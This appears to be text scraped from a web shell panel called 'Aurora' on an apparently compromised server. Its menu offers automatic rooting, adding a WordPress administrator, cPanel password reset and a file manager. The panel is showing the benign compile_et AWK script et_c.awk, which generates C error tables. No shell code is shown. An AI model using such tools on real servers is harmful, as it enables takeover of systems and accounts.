Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
usr
share
et
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: et_c.awk
BEGIN { if ( length(outfn) == 0) { outfn = outfile } char_shift=64 ## "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_"; c2n["A"]=1 c2n["B"]=2 c2n["C"]=3 c2n["D"]=4 c2n["E"]=5 c2n["F"]=6 c2n["G"]=7 c2n["H"]=8 c2n["I"]=9 c2n["J"]=10 c2n["K"]=11 c2n["L"]=12 c2n["M"]=13 c2n["N"]=14 c2n["O"]=15 c2n["P"]=16 c2n["Q"]=17 c2n["R"]=18 c2n["S"]=19 c2n["T"]=20 c2n["U"]=21 c2n["V"]=22 c2n["W"]=23 c2n["X"]=24 c2n["Y"]=25 c2n["Z"]=26 c2n["a"]=27 c2n["b"]=28 c2n["c"]=29 c2n["d"]=30 c2n["e"]=31 c2n["f"]=32 c2n["g"]=33 c2n["h"]=34 c2n["i"]=35 c2n["j"]=36 c2n["k"]=37 c2n["l"]=38 c2n["m"]=39 c2n["n"]=40 c2n["o"]=41 c2n["p"]=42 c2n["q"]=43 c2n["r"]=44 c2n["s"]=45 c2n["t"]=46 c2n["u"]=47 c2n["v"]=48 c2n["w"]=49 c2n["x"]=50 c2n["y"]=51 c2n["z"]=52 c2n["0"]=53 c2n["1"]=54 c2n["2"]=55 c2n["3"]=56 c2n["4"]=57 c2n["5"]=58 c2n["6"]=59 c2n["7"]=60 c2n["8"]=61 c2n["9"]=62 c2n["_"]=63 } /^#/ { next } /^[ \t]*(error_table|et)[ \t]+[a-zA-Z][a-zA-Z0-9_]+/ { table_number = 0 mod_base = 1000000 if (NF > 2) { table_name = $3 base_name = $2 } else { table_name = $2 base_name = table_name } for(i=1; i<=length(base_name); i++) { table_number=(table_number*char_shift)+c2n[substr(base_name,i,1)] } # We start playing *_high, *low games here because the some # awk programs do not have the necessary precision (sigh) tab_base_low = table_number % mod_base if (tab_base_low < 0) { # Work around stupid bug in the ARM libm tab_base_low = tab_base_low + mod_base } tab_base_high = int(table_number / mod_base) tab_base_sign = 1; # figure out: table_number_base=table_number*256 tab_base_low = tab_base_low * 256 tab_base_high = (tab_base_high * 256) + \ int(tab_base_low / mod_base) tab_base_low = tab_base_low % mod_base if (tab_base_low < 0) { # Work around stupid bug in the ARM libm tab_base_low = tab_base_low + mod_base } if (table_number > 128*256*256) { # figure out: table_number_base -= 256*256*256*256 # sub_high, sub_low is 256*256*256*256 sub_low = 256*256*256 % mod_base sub_high = int(256*256*256 / mod_base) sub_low = sub_low * 256 sub_high = (sub_high * 256) + int(sub_low / mod_base) sub_low = sub_low % mod_base tab_base_low = sub_low - tab_base_low; tab_base_high = sub_high - tab_base_high; tab_base_sign = -1; if (tab_base_low < 0) { tab_base_low = tab_base_low + mod_base tab_base_high-- } } print "/*" > outfile print " * " outfn ":" > outfile print " * This file is automatically generated; please do not edit it." > outfile print " */" > outfile print "" > outfile print "#include <stdlib.h>" > outfile print "" > outfile print "#define N_(a) a" > outfile print "" > outfile print "static const char * const text[] = {" > outfile table_item_count = 0 } (continuation == 1) && ($0 ~ /\\[ \t]*$/) { text=substr($0,1,length($0)-1); # printf "\t\t\"%s\"\n", text > outfile cont_buf=cont_buf text; } (continuation == 1) && ($0 ~ /"[ \t]*$/) { # printf "\t\t\"%s,\n", $0 > outfile printf "\tN_(%s),\n", cont_buf $0 > outfile continuation = 0; } /^[ \t]*(error_code|ec)[ \t]+[A-Z_0-9]+,[^ \t]/ { # Be tolerant to missing whitespace after `,' ... sub(/,/, ", ") } /^[ \t]*(error_code|ec)[ \t]+[A-Z_0-9]+,[ \t]*$/ { table_item_count++ skipone=1 next } /^[ \t]*(error_code|ec)[ \t]+[A-Z_0-9]+,[ \t]*".*"[ \t]*$/ { text="" for (i=3; i<=NF; i++) { text = text FS $i } text=substr(text,2,length(text)-1); printf "\tN_(%s),\n", text > outfile table_item_count++ } /^[ \t]*(error_code|ec)[ \t]+[A-Z_0-9]+,[ \t]*".*\\[ \t]*$/ { text="" for (i=3; i<=NF; i++) { text = text FS $i } text=substr(text,2,length(text)-2); # printf "\t%s\"\n", text > outfile cont_buf=text table_item_count++ continuation++; } /^[ \t]*".*\\[ \t]*$/ { if (skipone) { text=substr($0,1,length($0)-1); # printf "\t%s\"\n", text > outfile cont_buf=text continuation++; } skipone=0 } { if (skipone) { printf "\tN_(%s),\n", $0 > outfile } skipone=0 } /^[ \t]*(prefix)$/ { prefix_str = "" } /^[ \t]*(prefix)[ \t]+[A-Z_0-9]+/ { prefix_str = $2 "_" } /^[ \t]*(index)[ \t]+[A-Z_0-9]+/ { new_idx = $2 for (i = table_item_count ; i < new_idx; i++) { printf "\tN_(\"Reserved %s error (%d)\"),\n", \ table_name, table_item_count++ > outfile } } END { print " 0" > outfile print "};" > outfile print "" > outfile print "struct error_table {" > outfile print " char const * const * msgs;" > outfile print " long base;" > outfile print " int n_msgs;" > outfile print "};" > outfile print "struct et_list {" > outfile print " struct et_list *next;" > outfile print " const struct error_table * table;" > outfile print "};" > outfile print "extern struct et_list *_et_list;" > outfile print "" > outfile if (tab_base_high == 0) { print "const struct error_table et_" table_name "_error_table = { text, " \ sprintf("%dL, %d };", tab_base_sign*tab_base_low, \ table_item_count) > outfile } else { print "const struct error_table et_" table_name "_error_table = { text, " \ sprintf("%d%06dL, %d };", tab_base_sign*tab_base_high, \ tab_base_low, table_item_count) > outfile } print "" > outfile print "static struct et_list link = { 0, 0 };" > outfile print "" > outfile print "void initialize_" table_name "_error_table_r(struct et_list **list);" > outfile print "void initialize_" table_name "_error_table(void);" > outfile print "" > outfile print "void initialize_" table_name "_error_table(void) {" > outfile print " initialize_" table_name "_error_table_r(&_et_list);" > outfile print "}" > outfile print "" > outfile print "/* For Heimdal compatibility */" > outfile print "void initialize_" table_name "_error_table_r(struct et_list **list)" > outfile print "{" > outfile print " struct et_list *et, **end;" > outfile print "" > outfile print " for (end = list, et = *list; et; end = &et->next, et = et->next)" > outfile print " if (et->table->msgs == text)" > outfile print " return;" > outfile print " et = malloc(sizeof(struct et_list));" > outfile print " if (et == 0) {" > outfile print " if (!link.table)" > outfile print " et = &link;" > outfile print " else" > outfile print " return;" > outfile print " }" > outfile print " et->table = &et_" table_name "_error_table;" > outfile print " et->next = 0;" > outfile print " *end = et;" > outfile print "}" > outfile }